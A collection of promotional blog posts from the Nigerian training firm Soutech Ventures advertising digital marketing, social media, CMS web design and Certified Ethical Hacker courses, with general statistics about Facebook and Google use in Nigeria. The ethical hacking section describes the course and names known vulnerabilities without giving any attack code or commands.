Facebook is the largest social networking company. As of January 2016, Facebook’s monthly active users reached 1.55 billion, or 22 per cent of the entire world’s population. Facebook’s other services have 900 million users (WhatsApp), 800 million users (Facebook Messenger) and 400 million users (Instagram), globally, according to Statista, a leading statistics company on the internet.

Statistics of persons using google.com search for shopping

While smartphones are becoming a vital part of online shopping across the globe as a result of mobile devices, new findings from Google’s consumer Barometer tool released Wednesday has revealed that 85% of people in Nigeria use smartphones for product research as against 30% using computers and 6% using tablets respectively.

Google with their search engine gain insight into what Nigerians need economically and what they are looking for, whatever you search for in Nigeria on Google is with Google because they know your location, save what you search, personalize it for you, and use it for marketing purposes. So if you want to start online marketing practices in Nigeria you need basic knowledge about Google Search Engine and other Google services if you want customers from Google. Google Services are Search Engine, YouTube, Google Plus, Google play, Google Drive, Google Events, Google Map, Google Analytics and more.

Why you need to consistency use Digital marketing (3Ts)Tips, Tools, Techniques to put your business online

Facebook is the second most visited by Nigerians where people make friend and communicate socially with others,  it has up to 16 million users in Nigeria and have been making real money from Nigerians as customers. Some Nigeria Facebook users think Facebook is free because they share photos, videos and communicate with others without paying Facebook. The fact is that the owner of Facebook Mark Zuckerberg is among the ten richest person on earth as at August 2016, you probably don’t know he makes money through advertisements on Facebook. When you see ‘ Sponsored ‘ on a page or post the owner of the post paid facebook for that because the owner of the post want to reach more people.

Nigerians access YouTube Video Sharing website because of the contribution of mobile ISPs (Internet service providers) in Nigeria and the NCC (Nigeria Communication commission) by providing broadband Internet service to people almost everywhere. Globacom recently offer subscribers 10 gigabytes of data at just N2500 with a validity of one month for individuals and businesses. YouTube is owned by Google

Soutech Web Consult has created a package that will enable your business and services benefit from what other Nigerians are missing. It includes building an effective web presence for your business and training on how to grow and remain at the top using technology and the internet.

Learn how to put your business on first page of google today.

Attend SOUTECH Professional Digital Marketing Training today. Call 08034121380 to book a seat.

Order a home training kit for N7,500 ( UPS Courier Delivery next day any where in Nigeria)

 

Why you should start digital marketing TODAY: SOUTECH Ventures business growth guide

WHY YOU SHOULD “SWITCH” TO DIGITAL MARKETING

Digital marketing has not just been proved as the substratum of marketing, it also encases how cost effective marketing can be done, with a higher rate of an outcome. Technology itself has taken over a seemingly command over almost everything. Today, technology has adopted a face of digitalization, which has suddenly started looking like a quicksand, where everything has been absorbed and turned into a new digital world. Today the concept of digital marketing with or without organic and inorganic techniques, allows individuals and entities to bring their businesses and services on the internet and establish it by means of online marketing.

Digital marketing refers to advertising and promoting businesses, services, and brands through digital media channels. A digital media channels can be any platform that can deliver information electronically, such as websites, social media, mobile, e-mails, radio, television, billboards.

The Cost Effective Marketing

Regardless the size of your pocket, digital marketing can help in establishing your business portfolio in a more productive manner, where every resource spent would generate value. The “switch” to digital media is being driven by marketing agencies, business owners and consumers alike. The increasing demand to show quantifiable results has made going digital a dream for every marketing agency.

The cost of digital marketing is very low to an extent, especially for business owners. Having an effective web presence whilst engaging customers in conversations through social media and e-mail marketing, are low-cost alternatives to print advertising. In a simple illustration I would say; if you are to share flyers to some people using print media, each flyer has a cost and there is no guarantee that a person you give a flyer will gain interest. But in digital marketing, all you need is one flyer in soft-copy which can be broadcast to as many persons as possible.

You should be where you can be found

The easiest way consumers can find your business is by whipping out their phone and search for products or items they intend to purchase, if your digital marketing strategy is effective and using the right keywords appropriately, your business and services will experience a robust growth globally. While every business has some kind of product and every product needing promotion, promotions must follow a strategy starting with a unique approach called digital marketing. No marketing techniques had ever had the kind of reach that digital marketing has achieved. For instance, any update you make on social media networks like facebook, in no time it will be notice and conversation will start on that update. In the instance of digital marketing, that update could be a new product or about a new service.

Taking the first step

A good approach to digital marketing, I would say starts by having a website that does the following:

  • Adequately represents your business and brand (look and feel, messaging)
  • Adequately speaks to your target audience
  • Can be found by searchers on top search engines
  • Is up-to-date and easily navigable
  • Provides multiple channels for customer communication
  • Connects to other marketing efforts

Of great importance is the need to be consistent. If you are not consistent in your digital marketing approach then you might not get your desired results.


Also focus is very key to getting on top of google search engine results. There is nothing as using a good content marketing strategy to attract your potential customers and clients to your website.

Soutech Web Consult is an I.T company that specialized in providing solutions in both I.T and E-business. At Soutech, a Training on Digital Marketing will shape your knowledge towards engaging in effective digital marketing.

Click Below:

Enroll for a digital marketing training today.

 

Learn WordPress,Joomla,Drupal- CMSs( Website Design in Abuja, Nigeria)- Online Classes Available

BECOME A CONTENT MANAGEMENT SYSTEM EXPERT IN NIGERIA

A content management system (CMS), is a computer software system that is used to create and manage intranet, websites and web application. It includes many functionalities in it through which a website can be easily created, modified or updated. It helps a user to easily update its content, images, data and other essential information. Generally, the uses of Content Management System help a developer to save his time in creating attractive websites and make it easier for the user to manage contents.

CMS in a context

Content management Systems are fragmented, with many open-source and proprietary solutions available. Content Management Systems has different tools in forms of plugins, components, modules widgets etc., which can be used for publishing, format management, revision control, indexing, search and retrieval. In the context, a CMS involve two fundamentals, a content management application (CMA) and a content delivery application (CDA). The CMA element allows the content manager or author, who may not have any Hypertext Mark-up Language (HTML) knowledge, to manage the creation, modification, and removal of content from a Web site without programming skills or needing the expertise of a Webmaster. The CDA element uses and compiles that information to update the Web site. The features of a content management differ, but most comprise web-based publishing, format management, revision control, indexing, search, and retrieval.

Almost all CMSs require PHP and MySQL, and it takes a team of experienced programmers and coders to build a reliable content management system. However, one does not necessarily need to know how to code or be an expert in a programing language before becoming a CMS expert. If you have a basic knowledge in UI/UX (User interface or user experience), then you are one step ahead of becoming a CMS expert.

Brief: Benefits of becoming a CMS expert

CMSs are often used to build and run websites containing blogs, news, corporate information, client management and shopping. Many corporate organisations and shopping malls in Nigeria uses CMSs to build and manage their websites. Becoming a CMS expert is essential due to various of job opportunities that circle around CMSs. For instance, as a CMSs expert, you can build and manage your own website, create websites for people, become a webmaster or even a successful blogger.

Where to learn?

Become a Content Management System today by taking a web design training certificate program organised bySoutech Web Consult. Soutech is one of the country’s best I.T Companies with experience programmers, creating solutions, building amazing websites and training people how to become experts in I.T.

Learn WordPress website design,Joomla,Drupal- CMSs( Website Design in Abuja, Nigeria)- Online Classes Available

Call 08034121380 to attend a class now ( Live class or Online Training Options available.

Certified Ethical Hacking Certification training center in Abuja Nigeria- Live class and online training

Certified Ethical Hacking Certification

CEH-Cert-Mokcup-02-1A Certified Ethical Hacker is a skilled professional who understands and knows how to look for weaknesses and vulnerabilities in target systems and uses the same knowledge and tools as a malicious hacker, but in a lawful and legitimate manner to assess the security posture of a target system(s). The CEH credential certifies individuals in the specific network security discipline of Ethical Hacking from a vendor-neutral perspective.

The purpose of the CEH credential is to:

  • Establish and govern minimum standards for credentialing professional information security specialists in ethical hacking measures.
  • Inform the public that credentialed individuals meet or exceed the minimum standards.
  • Reinforce ethical hacking as a unique and self-regulating profession.

About the Exam

  • Number of Questions: 125
  • Test Duration: 4 Hours
  • Test Format: Multiple Choice
  • Test Delivery: ECC EXAM, VUE
  • Exam Prefix: 312-50 (ECC EXAM), 312-50 (VUE)

CERTIFIED ETHICAL HACKER TRAINING PROGRAM

Most Advanced Hacking Course

 divider
 The Certified Ethical Hacker program is the pinnacle of the most desired information security training program any information security professional will ever want to be in. To master the hacking technologies, you will need to become one, but an ethical one! The accredited course provides the advanced hacking tools and techniques used by hackers and information security professionals alike to break into an organization. As we put it, “To beat a hacker, you need to think like a hacker”.
 This course will immerse you into the Hacker Mindset so that you will be able to defend against future attacks. The security mindset in any organization must not be limited to the silos of a certain vendor, technologies or pieces of equipment.

This ethical hacking course puts you in the driver’s seat of a hands-on environment with a systematic process. Here, you will be exposed to an entirely different way of achieving optimal information security posture in their organization; by hacking it! You will scan, test, hack and secure your own systems. You will be taught the five phases of ethical hacking and the ways to approach your target and succeed at breaking in every time! The five phases include Reconnaissance, Gaining Access, Enumeration, Maintaining Access, and covering your tracks.

Underground Hacking Tools

The hacking tools and techniques in each of these five phases are provided in detail in an encyclopedic approach to help you identify when an attack has been used against your own targets. Why then is this training called the Certified Ethical Hacker Course? This is because by using the same techniques as the bad guys, you can assess the security posture of an organization with the same approach these malicious hackers use, identify weaknesses and fix the problems before they are identified by the enemy, causing what could potentially be a catastrophic damage to your respective organization.

We live in an age where attacks are all susceptible and come from anyplace at any time and we never know how skilled, well-funded, or persistent the threat will be. Throughout the CEH course, you will be immersed in a hacker’s mindset, evaluating not just logical, but physical security. Exploring every possible point of entry to find the weakest link in an organization. From the end user, the secretary, the CEO, misconfigurations, vulnerable times during migrations even information left in the dumpster.

About the Program

 Our security experts have designed over 140 labs which mimic real time scenarios in the course to help you “live” through an attack as if it were real and provide you with access to over 2200 commonly used hacking tools to immerse you into the hacker world.

As “a picture tells a thousand words”, our developers have all this and more for you in over 1685 graphically rich, specially designed slides to help you grasp complex security concepts in depth which will be presented to you in a 5 day hands on class by our Certified EC-Council Instructor.

The goal of this course is to help you master an ethical hacking methodology that can be used in a penetration testing or ethical hacking situation. You walk out the door with ethical hacking skills that are highly in demand, as well as the internationally recognized Certified Ethical Hacker certification! This course prepares you for EC-Council Certified Ethical Hacker exam 312-50.

What is New in CEH Version 9 Course

  • Focus on New Attack Vectors
    • Emphasis on Cloud Computing Technology
      • CEHv9 focuses on various threats and hacking attacks to the emerging cloud computing technology
      • Covers wide-ranging countermeasures to combat cloud computing attacks
      • Provides a detailed pen testing methodology for cloud systems to identify threats in advance
    • Emphasis on Mobile Platforms and Tablet Computers
      • CEHv9 focuses on the latest hacking attacks targeted to mobile platform and tablet computers and covers countermeasures to secure mobile infrastructure
      • Coverage of latest development in mobile and web technologies
  • New Vulnerabilities Are Addressed
    • Heartbleed CVE-2014-0160
      • Heartbleed makes the SSL layer used by millions of websites and thousands of cloud providers vulnerable.
      • Detailed coverage and labs in Module 18: Cryptography.
    • Shellshock CVE-2014-6271
      • Shellshock exposes vulnerability in Bash, the widely-used shell for Unix-based operating systems such as Linux and OS X.
      • Detailed coverage and labs in Module 11: Hacking Webservers
    • Poodle CVE-2014-3566
      • POODLE lets attackers decrypt SSLv3 connections and hijack the cookie session that identifies you to a service, allowing them to control your account without needing your password.
      • Case study in Module 18: Cryptography
    • Hacking Using Mobile Phones
      • CEHv9 focuses on performing hacking (Foot printing, scanning, enumeration, system hacking, sniffing, DDoS attack, etc.) using mobile phones
      • Courseware covers latest mobile hacking tools in all the modules
    • Coverage of latest Trojan, Virus, Backdoors
    • Courseware covers Information Security Controls and Information
    • Security Laws and Standards
    • Labs on Hacking Mobile Platforms and Cloud Computing
    • More than 40 percent new labs are added from Version 8
    • More than 1500 new/updated tools
    • CEHv9 program focuses on addressing security issues to the latest operating systems like Windows 8.1
  • It also focuses on addressing the existing threats to operating environments dominated by Windows 7, Windows 8, and other operating systems (backward compatibility)
 Ready to take the training check below link:

Upgrade your skill: Learn Effective Marketing Techniques

Marketing is a system of communication between you and your customers with the objective of vending your product or service to them. Communicating the significance of your product or service is a significant aspect of marketing.

Today the concept of marketing has not been altered but has been updated. Do you know that over 5 million prospects awaits to hear from you? Yes! They are ready to listen to you and just listening, they want to patronize you. You cannot see your prospects because you are not looking at the right direction. Soutech Web Consult has design a specific e-marketing training that will harmonized you marketing techniques. Don’t worry, you are not going to spend 4 years on this one, it will take you only three days to become a marketer for the marketers, now how about that?  The internet is where your prospects are, and they are eagerly waiting for you to find them.

Few benefits you will derive from taking the Digital Marketing training includes:

Using keywords Effectively: When it comes to the internet, keyword is not only important but, necessary commodity. Take for instance; do a search on your name or business name over the internet. What do you see? Well if you do not see your name there, then you must attend the Digital Marketing Training except you do not strive for success. And if you see your name with someone else information, well then, you are renting your space for free. It is time you grab the bull by the horn. Applying the right keywords effectively will not only bring you prospects to you, I will automate your marketing strategies. For instance, do search on Soutech Ventures, you will see that the outcome speaks for itself.

Building an Email list: Building an email list is one of the reliable method in keeping your clients and customers close to you. Your targeted audience will be updated about new products and services directly into theirs email address. Building an email list require some specific skills and taking the digital marketing training will give you more insight on how to build a list for targeted audience.

Social Media Marketing: It is a great idea to spend time in finding online influencers in your market who might have quality audiences and are likely to be interested in your products, business and services. But it is a better idea when you know where to search for and the right way of connecting with those people while building a sound relationship with them.

Soutech Web Consult will train your on how not to publish your content and then disappear. You have to be available to your audience, you need to consistently publish content and participate in conversations.

Upon completion of the digital marketing training, you will learn how to use different social media platforms effectively in order to step ahead of your profession.

There are other numerous benefits to be achieved after taking this training.

Call: 08034121380 to attend a training today.

See you at Soutech Web Consult, Area 1, Garki – Abuja.

Social Media Marketing- Digital skills for business growth: SOUTECH VENTURES

SOCIAL MEDIA: THE EFFECTIVE AND ACCESSIBLE MARKETING TOOL THAT IS ESSENTIAL FOR YOUR BUSINESS GROWTH.

Let me guess what you are thinking, “is there a marketer I can use effectively without paying for the service rendered?” Yes! Off-course, most businesses and services are benefitting from it, so you should consider it as well. This marketer is more like a tool and the name is simply called Social Media.

SOCIAL MEDIA: Communication is a basic human need and for that reason man has always find a means of meeting this need. The earliest forms of personal media, speech and gestures, had the benefit of being easy to use and did not necessarily need complex technology. The development of Social media has eliminated the weakness of not being able to communicate to large audiences, by creating a simple platform of communicating to the entire world using internet enable devices

We use it almost every day, chat with family and friends, stay connected, read the news update, upload new pictures of events and activities etc. With social media one can drive focus groups, do research, utilize data to map your audience and potential consumers, which also enables direct marketing and other efforts. The truth is that these tools are available and if you decide not to use them then you cannot blame your team if you fail. There are professional ways to measure media spend and metrics, there are tangible ways to influence the audience which rely on more than intuition.

SOCIAL MARKETING: Using social media for marketing can enable small business looking to further their reach to more customers. Your customers are interacting with brands through social media, therefore, having a strong social media marketing plan and presence on the web is the key to tap into their interest. If implemented correctly, marketing with social media can bring remarkable success to your business.

HOW TO USE: Effective Utilization of social media for marketing, require some set of skills and training. I strongly recommend that you take a digital marketing certificate course, it will give an insight on how social media marketing really works and effective ways of transforming it into a more effective marketing tool for your business and services.

Some of the Benefits you get from using the social media as an effective marketing tool includes:

  1. Increased Brand Recognition
  2. Enhanced Customer Insights
  3. Developed brand loyalty
  4. Reduced Marketing Costs.
  5. Better Inbound Traffic.
  6. Strong Brand Authority
  7. More Opportunities to Convert

You can as well become a social media marketing expert by taking the digital marketing certificate course, from Soutech Ventures.

CONCLUSION: Actively using social media is one of the easiest ways to reach a large audience and get the company or brand name in the heads of existing or potential customers. Not only does an already established network help to create new contacts, it will also help to deepen connections that have been formed. Even though this sounds very familiar to traditional marketing techniques, social media has given them a new twist. Companies that fail to adopt to a new more connected and interactive market, will inevitably fall behind.

What Next:

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